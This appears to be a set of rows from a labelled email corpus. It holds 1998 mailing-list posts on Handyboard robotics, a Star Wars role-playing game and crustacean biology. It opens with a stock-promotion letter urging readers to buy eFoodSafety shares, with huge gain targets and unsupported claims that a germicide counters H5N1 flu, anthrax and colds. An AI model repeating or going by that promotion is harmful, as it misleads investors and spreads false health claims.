virus. Can you imagine the revenue and profit from a product with this kind of potential? Since EPA approval has already been announced, I anticipate that eFoodSafety stock (EFSF) will not stay at today's share price for very long You must consider this opportunity now. *EPA Registration No. 82723-1 Dear Profit-Seeking Investor: There's a lot at stake here so let me start with the news that could create a fortune in profits for you very shortly. -- I anticipate you could see a quick 2- to 3-fold leap off today's EFSF share prices following news that eFoodSafety has received EPA approval for its non-toxic Big Six Plus germicidal. -- This has been the key news the company has been waiting for.news that will finally open the doors to a global market for an environmentally safe, non-toxic answer to the H5N1 avian flu virus crisis. -- The profit potential for investors is simply enormous. -- My first upside target of $2 puts EFSF in 670% gain potential. -- My second target could be so explosive, it might easily blow past a ten-bagger I'll be publishing my forecasts and sell signals in The KonLin Letter. -- What's driving this forecast is that eFoodSafety now has its non-toxic anti-viral formula ready for global distribution. -- Now that it's received EPA approval, eFoodSafety Big Six Plus germicidal could quickly be disseminated worldwide, used to combat one of the most urgent health crises in human history, H5N1 avian flu virus. -- Let me begin with a quick review of the toll that H5N1 avian flu virus has taken thus far. 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Human trials are already underway Clinical trials at one of America's top pharmaceutical testing laboratories, Bucks County Clinical Research, are being conducted to show that eFoodSafety's Citroxin O2 germicidal formula can kill influenza A & B virus in vivo. (Since no patients can be tested with H5N1 avian flu virus, the efficacy against H5N1 avian flu virus virus will be inferred.) -- This is the same research lab that routinely tests for major pharmaceutical companies like Roche, Bristol Myers and others. There's even evidence that the germicidal formula could lead to an effective therapy for the common cold Wouldn't that be nice...and profitable In agricultural applications, Big Six Plus can be sprayed almost anywhere that H5N1 avian flu virus is found.in chicken coops, poultry feed, nesting areas, food processing areas, etc. It's even being considered as an additive to poultry feed for prevention or treatment of disease. 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That's not all. eFoodSafety has more products in the pipeline, some already generating revenue that could make the company hugely profitable as early as this year And most important, eFoodSafety is about to achieve positive cash flow It's rare that an investor can find a ground-floor opportunity with explosive growth potential that has already established positive fundamentals. -- eFoodSafety hit this landmark early this year, which is why I'm urging investors to move quickly on its stock (EFSF). This buying opportunity can't last much longer -- Here are a few of the products, in addition to Big Six Plus germicide, that are carrying eFoodSafety into the future...and could be featured in coming news releases: TalsynT CI/bid Scar Cream The most efficacious scar cream on the market today, entering a $4 billion market. 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It has become one of Wall Street's leading investment newsletters and ranked among the best performing in the nation. Yours for Profitable Investing Konrad Kuhn, Publisher The KonLin Letter P.S. Regular readers of The KonLin Letter know I do not make timing forecasts for buying and selling my picks. When we see value, we recommend a buy. And when it comes time to sell, we pull the trigger and take our profits or losses. -- On the horizon: -- It obliterates Anthrax spore s on hard and porous surfaces -- eFoodSafety's anthrax sporicidal also meets all EPA protocol guidelines for a 100% kill of the surrogate organisms used for the testing against anthrax. EPA registration is underway and should be approved yet this year. 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On the Handyboard side, all we can do is poll the port, but what have people done on the PC side? It should be easy to just poll the port from the PC side too, but is it better to use an interrupt-driven routine? I have a stack of C/C++ books here, but none deal with the specifics of serial port communication. Can anyone recommend a good resource? I know people must have written bits of code to communicate with the Handyboard already, so before I reinvent the wheel, has anyone got a snippit of code that does this? What are the implications of reading/writing from the serial port from Windows 95? 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While his troops persued the Jedi through the Outer Rim, Albertus was held captive aboard A.S.S. Cyclops as a Rebel prisoner. Later in the day, a team of unknown bounty hunters managed to rescue Albertus from the Rebel craft. This Rebel ship was left in tatters as the bounty hunters used a remarkable amount of explosives to free Albertus. What Albertus' importance is is yet unclear. Denowah jumped from system to system in his modified vessel, managing to avoid the onslaught of Tremayne's assistant, Col. Sanders. Finally, Sanders caught up with Denowah, where the two ships pummelled each other, leaving Denowah to fly to safety from his ship. Sanders landed his craft and chased down Denowah with his elite group of troops equiped with the best technology the Empire has to offer. Several troopers that stayed behind in the attack sent one last message saying that they heard a loud explosion and the cave in to which Denowah fled was destroyed, presumably killing Denowah and also, unfortunately, Col. Sanders. They then communicated nothing further. Rebel sources tell us that this does not mean that Denowah is dead, and they hope that he survived, but we at Imperial News know that Col. Sanders did his job well, and that had his ship not been so damaged, he would be returning to the Empire as a hero. Good work Col. Sanders! ----------------------------------------------- Game stuff (aka - What actually occured) My much debated dragon went into hiding again basically... After learning that Albertus would sell me out to the Empire, I gave him to the Rebels, along with his ship. Albertus is played by Chris. The unknown (to anyone but him) bounty hunter was played by Frank. A crime lord played by Dan, the GM and sometimes crime lord PC, paid Frank to save Chris so that Dan could get al of the goodies on Chris' heavily modified ship. Chris has a cloacking devic e on it (don't ask how...long story) and so the Rebels want the ship, but so does Dan's crime lord character. Meanwhile, the Rebels gav e me to a guy named Lontek, who escorted me to safety. My dragon made it into space, on board a ship. Col. Sanders chased me down, but I kept leading him farther an d farther into the Outer Rim. Finally, I faced him, and we blew each up pretty well...being a Star Dragon, I was able to leave the ship and fly to a nearby planet where I hid in some caves. Sanders' and his troops donned negative force suits so I could not use the Force on them. A battle ensued, in which I used Beast Languages to have near by animals help me defeat the troopers. In the end, we posed to much strength for the troopers to handle. Sanders set off a detonator that leveled the cave, which left him dead, and me alive...able to escape. So, my dragon is alive still, feeling a little bad from the cave falling on him. There he will stay until around RotJ, when I will bring him out to aid Luke agaisnt our giant evil Vader (whoi is stronger than the Emperor, although none of us really know that). No I am finally abandoning the Jedi deal, and becoming a bounty hunter for the first time ever.... This is my first none Force-Sensative character EVER. Oh boy. So, everyone thinks that I died, Albertus got rescued, and the Rebels are trying to get out that cloaking devicce, but the crime lord wants to get it back...should be an interesting set of missions coming up. Return-path: Received: from BERYLLIUM.CLUB.CC.CMU.EDU (BERYLLIUM.CLUB.CC.CMU.EDU) by DRYCAS.CLUB.CC.CMU.EDU (PMDF V5.0-5 #7763) id <01IUJ1SGH11OHXJ7KU@DRYCAS.CLUB.CC.CMU.EDU> for JAE@DRYCAS.CLUB.CC.CMU.EDU; Wed, 11 Mar 1998 05:30:31 -0400 (EDT) Received: from listmail.aol.com (listmail.aol.com [152.163.200.33]) by beryllium.club.cc.cmu.edu (8.8.5/8.8.5) with ESMTP id FAA21092 for ; Wed, 11 Mar 1998 05:30:17 -0500 (EST) Received: from LISTSERV.AOL.COM by listmail.aol.com (LSMTP for Windows NT v1.1a) with SMTP id <0.92744AF0@listmail.aol.com>; Wed, 11 Mar 1998 05:21:40 -0500 Received: from LISTSERV.AOL.COM by LISTSERV.AOL.COM (LISTSERV-TCP/IP release 1.8c) with spool id 5225961 for SW-RPG@LISTSERV.AOL.COM; Wed, 11 Mar 1998 05:17:10 -0500 Received: from vesuri.Helsinki.FI (vesuri.helsinki.fi [128.214.205.10]) by listserv.aol.com (8.8.5/8.8.5/AOL-3.0.0) with ESMTP id FAA02498 for ; Wed, 11 Mar 1998 05:17:07 -0500 (EST) Received: from localhost (jkaarela@localhost) by vesuri.Helsinki.FI (8.8.8-spammers-bug-off/8.8.0) with SMTP id MAA00071 for ; Wed, 11 Mar 1998 12:29:40 +0200 (EET) Date: Wed, 11 Mar 1998 12:29:40 +0200 From: Jani A Kaarela Subject: [SW-RPG] Political fractions Sender: Star Wars Role Playing Game Discussion Group X-Sender: jkaarela@vesuri.Helsinki.FI To: SW-RPG@LISTSERV.AOL.COM Reply-to: Jani A Kaarela Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT X-Authentication-warning: vesuri.Helsinki.FI: jkaarela owned process doing -bs I'm gamemastering a post-Endor campaign, which is in many ways quite politics-oriented. In my SW-universe, the galaxy isn't ruled by the Empire or the Alliance, but there's lots of different unions, alliances, empires, political fractions and independents. The Alliance (or The New Republic) and the Empire are still the most powerful to maintain the original SW aspect. Anyway, there's need for political fractions etc... I've already began designing the Tarash Empire and other ""nations"", but there's still no political ""parties"" which are necessary... So here's a few ""sketches"" and I wish you could gimme some comments, ideas etc. REPUBLICANS Members of the NR that wish to re-establish the Old Republic. In their opinion, the New Order emerged because of Palpatine, not because a republic would inevitably result a totalitarian movement. FEDERALISTS Members of the NR who state that the Republic will eventually lead to a new Empire. They wish to establish a federation which is more like a commonwealth of independent worlds than a nation of it's own. Fractions: The Conspiracy: Only a wild rumour. There are accusations of a federalist conspiracy inside the NR. The conspiracy is said to use blackmail and bribery to get senators and representatives to work for them. Federalists deny the existence of a conspiracy. EQUALISM Well, calling it communism would be like calling a comlink a radio - close to the truth, but too ""earthly"" to be Star Wars. Equalists' objectives are: - free education, health care and social security - state-owned companies to run the most necessary services like transportation, hospitals etc - ban megacorporations, multi-planetary companies, ""stock gambling"", incorporate new (less-risky) ways of financing - ""People first."", ensure that finance is given lower priority than the well-being of the common people - direct democracy Naturally, equalism is fiercely opposed by the business world and the elite. Fractions: REF: Revolutionary Equalist Front. An fraction which operates both in NR and Imperial space. In NR space, they cooperate with the government and act like a political party, but in Imperial space they're armed rebels. The armed wing is banned by NR, but it's widely suspected that the armed REF forces in Imperial worlds are given arms, equipment and training. In NR, REF supports federalists because they realize that an equalist Republic isn't possible. ARES: Armed Revolution for Equalist Society. A loose organization for separate revolutionary movements on different independent planets. Mostly fanatics and anarchists, the armed groups consist of young radicals who are willing and able to use any available means. ARES is declared a banned terrorist group both in NR and the Empire. PFPE: People's Front for Peace and Equality. A pacifist movement with no official organization or leaders. It's a pressure group dedicated to reveal injustice and to prevent war. They demand a cease-fire between NR and the Empire, fight against racial and social ""apartheid"". They publish announcements, reveal injustices, organize boycots etc. A great deal of intellectuals of the galaxy are members of PFPE, as well as a great number of Mon Cals and Ithorians. They are not revolutionary, but share many common goals with revolutionary equalists. EFFECTIVISM Effectivists are devoted to eliminating the ""equalist threat"". Their term for equalism is ""conformism"", which pretty well describes their attitude - they think equalists want to make people similar, not equal. They also (quite truthfully) think that equalism would ruin the economy. Effectivists think that a striving economy benefits everyone, including the workers and the poor. Fractions: PEL: People for Economic Liberty. A political party in the NR which struggles to remove toll fees, lower taxes and to reduce the power of worker unions. GLP: Galactic Liberal Party. Although the Empire favors the economy at the cost of the workers, they also tend to regulate the economy and need high taxes and toll fees to fund the military and other massive institutions. GLP wishes to increase freedom of commerce and to reduce fees and bureacracy. UFE: Union of Free Enterpreneurs. UFE is a pro-effectivism movement of merchants, investors and artisans. It's enemies are assured that it's in fact led by an inner circle of major corporate leaders, and that various anti-equalist terrorist actions carried out by mercenaries are funded by UFE. FSU: Free Spacers United. An organization which wished to develop free trade, remove tolls and reduce bureaucracy. They also demand less armament restrictions for cargo ships and more actions against pirates and hijackers. MORALISTS Moralists are fanatics wishing to ban gambling, prostitution, drugs, alcohol, sex-holovids etc etc ad nauseaum... These are the angry grandmas who want to ban everything they don't understand or enjoy. Fractions: NMO: New Moral Order. A fanatic fraction which struggles to rid the Galaxy of gambling and commercial sex forever. They blow up porn shops and casinos, expose unmoral deeds done by famous people etc... There are hundreds of smaller organizations, ranging from political pressure groups to violent terrorist groups. .:.: Zer0 :.:. e v e r y t h i n g i s b l u e i n t h i s w o r l d Return-path: Received: from BERYLLIUM.CLUB.CC.CMU.EDU (BERYLLIUM.CLUB.CC.CMU.EDU) by DRYCAS.CLUB.CC.CMU.EDU (PMDF V5.0-5 #7763) id <01IUKAQEWLBIHXJ7KU@DRYCAS.CLUB.CC.CMU.EDU> for JAE@DRYCAS.CLUB.CC.CMU.EDU; Thu, 12 Mar 1998 02:56:59 -0400 (EDT) Received: from listmail.aol.com (listmail.aol.com [152.163.200.33]) by beryllium.club.cc.cmu.edu (8.8.5/8.8.5) with ESMTP id CAA27439 for ; Thu, 12 Mar 1998 02:56:44 -0500 (EST) Received: from LISTSERV.AOL.COM by listmail.aol.com (LSMTP for Windows NT v1.1a) with SMTP id <0.49E40A50@listmail.aol.com>; Thu, 12 Mar 1998 02:48:08 -0500 Received: from LISTSERV.AOL.COM by LISTSERV.AOL.COM (LISTSERV-TCP/IP release 1.8c) with spool id 5311964 for SW-RPG@LISTSERV.AOL.COM; Thu, 12 Mar 1998 02:43:35 -0500 Received: from kcvax3.kenyon.edu (kcvax3.kenyon.edu [138.28.2.6]) by listserv.aol.com (8.8.5/8.8.5/AOL-3.0.0) with SMTP id CAA21795 for ; Thu, 12 Mar 1998 02:43:34 -0500 (EST) Received: by kenyon.edu (MX V4.2 VAX) id 6; Thu, 12 Mar 1998 02:55:21 -0500 (EST) Date: Thu, 12 Mar 1998 02:55:23 -0500 (EST) From: ""Who's more foolish...the fool or the fool who follows him?"" Subject: [SW-RPG] HoloNews: Local informant killed Sender: Star Wars Role Playing Game Discussion Group To: SW-RPG@LISTSERV.AOL.COM Reply-to: ""Who's more foolish...the fool or the fool who follows him?"" Message-id: <009C30EA.C435C100.6@kenyon.edu> Content-transfer-encoding: 7BIT planet Oblidi-oblida - Pedro Frederico was killed today by an unknown individual. Pedro was known to be a man capable of getting information about anyone at any time. He leaves behind a small syndicate lead now by his brother Enrico, and his friend Jose. Imperials forces arrived on the scene and cleaned up the mess left ina drak area of town not often patrolled by Imperials. Another death, perhaps related, was that of Imperial commander George. George, while know to be a drunk and not very good at his job, was always serving the Empire to the best of his abilities. George will be replaced by Lietenent Kidd, a 19 year old fresh out of the command academy. It is uknown how he quickly advanced so soon, but everyone at HQ says taht he is a fine officer.. The death of George is odd in that it was an assassination by what appeards to be an Imperial...when qeustioned, the suspect managed to escape. In other news, Galaxy Burger tycoon, Devar Artone, came by the planet today with his loyal henchman, Marcus Albertus. Devar also baught out herman's Bar, a popular local establishment, saying that he would push money into it so that it would become an ever nicer place, and so that it could expand beyond the planet. For unknown reasons, the Emperor and the loyal Darth Vader paid a visit to the planet today. We were honored to have them here. --------------------------- Game stuff: Well, in my first missio ntaht I have GMd in a while, there were some interesting things that happened. 1 - Marucs Albertus, Devar's henchman, came down to negotiate to find out where the Rebels are hiding Albertus's ship, which has a cloaking ddevice on it (long story how that happened...). He was to find his contact, pay him and get the location of the Rebel's that have his ship. Well, he gave an u nsigned credit voucher to the contact, only to have the contact assault him and leave. He awoke to find that he had been tricked, and that tons of cresits were stolen. The real contact came to him finally, and this contact was the guy tyhat died - Frederico. Albertus did not like what Frederico was saying, so he mouthed off, and Frederico tried to leave. Albertus s hot him in the leg. A battle ensued. Frederico was killed. 2 - Irritated at multiple failures, Devar Artone (played by Col. Dan Lorentz) the crimelord, came down to personally deal with things now. He and Albertus located the best friend of Frederico and got the info. they needed. 3 - Meanwhile, Devar realized that his contacts here were out of date and old, so he had Albertus disguise himself as a Lt. and assassinate George. He had a young kid take his placce. On the escape route, something happened... 4 - That something was an encounter with Frederico's borhter who now runs Frederico's busness. Devar tried toescape, and does, leaping from his vehicle unscathed, taking Marucs and his other body guards with him. Devar develops hatredc toards Frederico's brother. After rolling and running to safety, Devar and Albertus find two doors at the end of an alley. 5 - Door 1 - the blue door. This leads Devar to Herman's Bar, the only place that Devar doesn't have control over on this planet. Devar buys the owner out. Albertus sees some good looking girls and has some fun with them. Byt the time he is done, Devar is gone. 6 - Devar went into the green door, which was the location of a secret convention of crime lords that Devar just happened into. (I would have gotten them there somehow, but this was easy). There, he finds that some of these crime lords are with Frederico andsome hate him. He finds those that hate him and strike deals with them. So, Devar now controls an enormous (for him) fleet of ships consisting of 6 corvettes a dreadnought and his luxury cruiser. Let me tell you that as GM, he will need more than that to fight the others off. Devar had one of the Frederico supporters killed by Marcus Albertus, and his new associate, my new PC since the demise of my space dragon. 7 - Devar was all happy and rode off into the sunset...hoping to defeat the other fleet and also have time to get a leg up on that cloaking device...which Frederico's men still know about, despite Frederico's death. GM notes: Basically, this sets up my PC, sets up a giant war that Dan will control as crime lord and Chris (Albertus) and myself will be large parts of. Other PCs in our group will be able to choose their own paths. The battle for the cloaking device is now no loger Rebels versus Dan, but Rebels vs. Dano, vs. Frederico's guys....all of them have to fight each other. I figured that if Dan was a crime lord PC and had two awesome fighters (me an Chris), why not pput us all to use and start a war where everyone can choose sides, etc... It should be a lot of fun. Also, the visit from the Emperor and Vader was just some fun I had with Chris' PC (Albertus_). In his assassination of George, he took the elevator up. It stopped on level 3, and the emperor got on with his red troopers and asked Albertus to leave. Albertus wisely agrees only to speand 10 minutes in the level 3 hallway listneing to screams coming from down the hall of a guy screaking, ""I am a Jedi! Let me go! ARRRRGGGGGGHHHHHH!!!!!!"" and a lot of pain, etc... It was just a funny way of scaring Chris. He, for once, could not wait to get back to the elevator and the wonderful Yanni elevaotr music (or Kenny G, pick your poinson) :-) Sorry for all the typos...those of you that read my messages know of my telnet program problems....sorry. :-) -Evan Return-path: Received: from BERYLLIUM.CLUB.CC.CMU.EDU (BERYLLIUM.CLUB.CC.CMU.EDU) by DRYCAS.CLUB.CC.CMU.EDU (PMDF V5.0-5 #7763) id <01IV61LST9NMHWAEDM@DRYCAS.CLUB.CC.CMU.EDU> for JAE@DRYCAS.CLUB.CC.CMU.EDU; Fri, 27 Mar 1998 16:33:23 -0400 (EDT) Received: from listmail.aol.com (listmail.aol.com [152.163.200.33]) by beryllium.club.cc.cmu.edu (8.8.5/8.8.5) with ESMTP id QAA20411 for ; Fri, 27 Mar 1998 16:36:44 -0500 (EST) Received: from LISTSERV.AOL.COM by listmail.aol.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AB7861A0@listmail.aol.com>; Fri, 27 Mar 1998 16:37:45 -0500 Received: from LISTSERV.AOL.COM by LISTSERV.AOL.COM (LISTSERV-TCP/IP release 1.8c) with spool id 442709 for SW-RPG@LISTSERV.AOL.COM; Fri, 27 Mar 1998 16:36:01 -0500 Received: from online.no (pilt.online.no [193.212.1.34]) by listserv.aol.com (8.8.8/8.8.8) with ESMTP id QAA06517 for ; Fri, 27 Mar 1998 16:36:00 -0500 (EST) Received: from fkn-nordvern (ti32a32-0016.dialup.online.no [130.67.164.224]) by online.no (8.8.8/8.8.7) with ESMTP id WAA27052 for ; Fri, 27 Mar 1998 22:35:51 +0100 (MET) Date: Fri, 27 Mar 1998 22:36:05 +0100 From: Erik Inge =?UNKNOWN?Q?Bols=F8?= Subject: [SW-RPG] HOLONEWS: Barbarian horde board the T/T ""Victorious"" ! Sender: Star Wars Role Playing Game Discussion Group To: SW-RPG@LISTSERV.AOL.COM Reply-to: Erik Inge =?UNKNOWN?Q?Bols=F8?= Message-id: <351C1BC5.A04F766B@online.no> MIME-version: 1.0 X-Mailer: Mozilla 4.01 [en] (Win95; I) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8bit X-Priority: 3 (Normal) DREAMLANDS News Service ** Your source for obscure news galaxywide ** Galactic..Outer Rim.. --------------------------------------------------- Volume II Number 1 BARBARIAN HORDE BOARD THE T/T ""VICTORIOUS"" ! -------------------------------------------------------------------- A very amusing incident happened earlier this week, when I was happily voyaging on Telgordo Travels' old luxury liner ""Victorious"", bound for the Minas cluster. The food was great, my fellow passengers was amusing (among others an obese male Rodian with a beautiful young human(!) fiancee) and the price was just right for my finances... (Wonder why it was that cheap?) Anyway, I was happily chatting up the quite striking young lady in a cozy recreation lounge when a heavy metallic thump echoes through the ship, and a moment later all the lights go out. I couldn't pass up on such a good opportunity, and me and the lady had a few hectic & ecstatic minutes... But it couldn't last. Gradually, an emergency light or two lit up, only emphasizing how dark it really was. A heavy thumping echoed through the corridors, getting nearer and nearer... And all of a sudden these strange figures march into sight. At least a dozen bulky man-shapes in black, worn spacesuits, with a heavy backpack and what looked like a heavy missile launcher connected to the backpack by some thick cables. The first who saw us opened fire and promptly, in a blinding ray of light, set our couch afire. I didn't really care much for that sort of situation, and swiftly disappeared down a corridor in glaring nudity... Through a turn of events I don't care to detail, I happened to, ah, borrow a set of that soldier's outfit and slip into an escape capsule, getting away by the hair on my neck (again). And I tell you, those suits are monstrously heavy, I lay wholly exhausted for the better part of a day after wearing it for an hour or two. But anyway, I saw those barbarians most foully strip the ship of all carryable valuables and torch the rest with those flashlights of theirs. Blasphemous. So, gentlebeings, if you happen to find a quite worn set of expensive clothing lying in the recreation lounge of the ""Victorious"" on your next travel, or happen upon a nice female human asking for me, please get in touch... ""This was Toro Startler reporting for the Dreamlands..."" ________________________________________ ""... We report the news no one else see..."" +++++++++++++++++++++++++++++++++++ GM Scoop... About the Article: Back in business at last! This article is designed so it can be thrown in pretty much anywhere at any time in a campaign (perhaps as a forewarning? )... Inspired by Armage's Beam Tube stats, included below a bit expanded. Feel free to elaborate on the loose threads as much as you like... STATS: Beam Tube (modified) Model: Timms Emperor-4 Beam Tube Type: Antiquated energy-particle weapon Scale: Character Skill: Firearms: beam tube Ammo: 90 (backpack), unlimited (power generator) Cost: 3,900 (antique store) Fire Rate: 1/2 Availability: 3, R or X Range: 3-10/20/50 Damage: 4D Game Notes: Must be fired two handed. Move reduced by -2 because of weight of weapon and backpack. (-1 if 5D STR, 0 if 6D) Every time weapon fired, roll 2D: 2-4 - Internal refinement tubes thrown out of order. Weapon requires 1D hours to repair. (Easy firearms repair:beam tube (-3D unspecialized)) 5-12 - Fire as normal. -------------- Comments welcome! My first 'underground' issue (read: from my hiding place in the Navy) Hi Kevin, Mike, Alter, Tenadys, Joe and all the rest of the list. Dreamlands' homepage: http://home.sol.no/eibolsoe/news/index.htm The New Republic InfoNet: http://home.sol.no/eibolsoe/sw.htm eMail: Erik I Bols�, Babylon 5 fan, Hitchhiker's Guide fan and GM of several RPG's. At the moment doing guard duty in the Royal Norwegian Navy.",0,1 Humberto Martinez Barbera ,Skye Legon ,"Wed, 11 Mar 1998 11:16:12 +0200",Re: PC/Handyboard serial communication,">I am writing a PC program to communicate with the Handyboard via its >RJ11 jack using the serialio routines. On the Handyboard side, all we >can do is poll the port, but what have people done on the PC side? > >It should be easy to just poll the port from the PC side too, but is >it better to use an interrupt-driven routine? I have a stack of C/C++ >books here, but none deal with the specifics of serial port >communication. Can anyone recommend a good resource? > >I know people must have written bits of code to communicate with the >Handyboard already, so before I reinvent the wheel, has anyone got a >snippit of code that does this? What are the implications of >reading/writing from the serial port from Windows 95? I use Linux to talk to my HandyBoard. I have written a couple of functions (in plain C) to do so, and implemented a software handshake (even with low speed PCs you have to do some sort of handshake). Of course, the merit is not mine, I have mixed functions from people all over the net :-), but if someone is interested I can send my code. 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Just precede the definitition with the line variable_C_name, where ""C_name"" is what you want the variable to be called in IC. I usually make the C name the same as the assembler name as in this example: variable_global_variable global_variable FDB 0 . . . LDX global_variable INX STX global_variable ---------------- int silly_routine () { global_variable = global_variable + 1; return(global_variable); } ----------------- ...Of course you have to load your ICB file before your C file when you're doing this. /Max ",0,0 Scott Sherman ,handyboard@media.mit.edu,"Wed, 11 Mar 1998 16:59:54 -0600",APC,"Does anyone know what the web site to APC is. I would like to order some pics such as Chuck McManis is using for motor controllers. If anyone has ordered them already please include information on how you ordered them. Thanks, Scott Sherman sherman@plains.nodak.edu CSG ITS NDSU ",0,0 nari ,Fred ,"Thu, 12 Mar 1998 01:19:22 -0500",downloader for SGI,"Hi Fred, I like to connect my handy board to an O2 platform. Could you please tell me where I can find downloader for unix system? many thanks, nari ",0,0 David Kott ,German Gentile ,"Wed, 11 Mar 1998 18:22:44 -0500",Re: beeping me handy...,"On Tue, 10 Mar 1998, German Gentile wrote: > I'm using a handyboard with imagecraft C. how i can make beep my handy???? > Use the beep() routine, from the standard IC runtime library. -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped) ",0,0 Wulf Kobusch ,CRUST-L@VIMS.EDU,"Thu, 12 Mar 1998 09:39:53 +0000",Edriophthalma & French-writing,"Hi all, sorry for raping the French language in my last message, the writing was correct (I hope so), but what you got was a bit chaotic... What can I do do to urge my ""Pegasus-E-Mail"" to translate all French accent marks in the correct way? Is there a possibility that you can get it in correct French writing or do I have to leave out any accent mark (which looks rather stupid)? Best regards to all of you Wulf *************************************************** Wulf Kobusch Ruhr Universitaet Bochum Spezielle Zoologie, ND 05/776 Universitaetsstrasse 150 44801 Bochum, GERMANY phone: +49 (0)234-700-5577 fax: +49 (0)234-7094114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dave O'Neill"" Date: Thu, 12 Mar 1998 11:47:45 -0500 Subject: CRUST-L: What is in the market, and where did they come from? Hello all: Last night I purchased some crayfish in a fish market near Baltimore. They appeared to be Procambarus zonangulus, but may have been a related species such as Procambarus acutus. This surprises me because I've only seen Procambarus clarkii here in the past. Usually, P. zonangulus is an incidental catch in wild harvest or pond culture, although the literature suggests they may be very common in some ponds. The crayfish were exceptionally clean, lively, and (when I saw them) packed in a box instead of the usual onion bags. Their cleanliness suggested to me that they were cultured or depurated rather than packed immediately after a wild harvest. The vendor thought they came from Louisiana. Does anyone know of commercial operations raising Procambarus other than P. clarkii that be the source of these crayfish? Thanks, Dave O'Neill =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 12 Mar 1998 12:38:24 -0600 Subject: CRUST-L: accents marks in email Wulf, Get a Mac 8-) . This is more a function of your computer's operating system and what language packages it has than anything else. Except thatUNIX servers and routers may not be able to handle the accent marks, if they don't consider the accents as ascii characters. Even if your computer handles the accents right, and the servers do also, if the recipients' computers don't have the software, the language will be mangled. One of the joys of letting US English dominate the web ... 8-p . Phil >sorry for raping the French language in my last message, the writing >was correct (I hope so), but what you got was a bit chaotic... > What can I do do to urge my ""Pegasus-E-Mail"" to translate all French >accent marks in the correct way? Is there a possibility that you can >get it in correct French writing or do I have to leave out any accent >mark (which looks rather stupid)? > >Best regards to all of you > >Wulf > >*************************************************** >Wulf Kobusch >Ruhr Universitaet Bochum >Spezielle Zoologie, ND 05/776 >Universitaetsstrasse 150 >44801 Bochum, GERMANY > >phone: +49 (0)234-700-5577 >fax: +49 (0)234-7094114 >e-mail: wulf.c.kobusch@ruhr-uni-bochum.de >*************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Thu, 12 Mar 1998 12:38:21 -0600 Subject: CRUST-L: effective methods to kill a crab >I am doing ammonia toxicology in the freshwater crab, Eriocheir sinensis, >and want to take tissue (muscle, liver, and gills) samples for some >biochemical analysis. Then the crab has to be anaesthesized and killed >before sampling. At first, i applied MS-222 to anaesthesize the crabs, but >I found that the crab is un-sensitive to this anaesthesia even at a 0.3% >(w/v) concentration. Now my questions is: > >1. Can anyone suggest the appropriate concentration of MS-222 for >freshwater crabs? Don't bother weighing, just dump a capful or two into the water. If you can't afford this, try another chemical >2. Is it an accepted method to fast freeze the whole crab in liquid N2 and >then to take the tissue samples? I wouldn't think so. Freezing a whole crab is going to generate lots of ice crystals and lots of freezing damage. This will disrupt membranes, cells, and so forth, destroying any compartmentalization of compounds or biochemical classes. Unless you're just after total protein, lipid, etc., and don't care where in the crab tissues each is. >If you have any suggestion, please respond this mail as soon as possible. >Thanks a lot. Why not anesthetize, remove the needed tissue, then quickly kill the crab in boiling water? Or, you could try just removing a leg, and snipping off a gill, then with sterile methods, cutting a small window in the carapace, removing a bit of hepatopancreas, and crazy-gluing on a bit of plastic to cover the hole. All under anesthesia, and you'll have a live crab afterwards for replicating your experiments. Don't get supper this way, tho'. > >J.H. Zhao Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to 